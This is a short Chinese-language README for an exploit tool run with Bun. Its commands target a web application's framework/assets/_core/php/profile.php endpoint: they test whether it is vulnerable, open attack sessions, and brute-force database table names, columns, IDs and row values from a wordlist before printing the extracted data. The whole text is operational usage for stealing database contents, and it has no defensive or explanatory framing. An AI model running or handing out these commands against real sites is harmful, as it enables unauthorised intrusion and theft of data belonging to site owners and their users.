你需要安装 Bun:https://bun.sh
安装依赖:
bun install
运行:
# 显示帮助
bun run exploit -h
# 测试漏洞
bun run exploit vulnerable -u https://site.com/framework/assets/_core/php/profile.php
# 为新目标创建会话
bun run exploit create -n your_session_name -u https://site.com/framework/assets/_core/php/profile.php
# 暴力破解表
bun run exploit brute-table -n your_session_name -w path/to/wordlist.txt
# 显示已发现的表或表的列
bun run exploit show-table -n your_session_name
bun run exploit show-column -n your_session_name -t table_name
# 暴力破解 ID
bun run exploit brute-id -n your_session_name -t table_name -i 1
# 暴力破解行值
# 可选择添加 -r 从停止处恢复暴力破解
bun run exploit brute-column -n your_session_name -t table_name -c column_name -i 1
# 显示表的已发现键值对
# 可选择 `-i id_value` 仅显示特定 ID
bun run exploit show-rows -n your_session_name -t table_name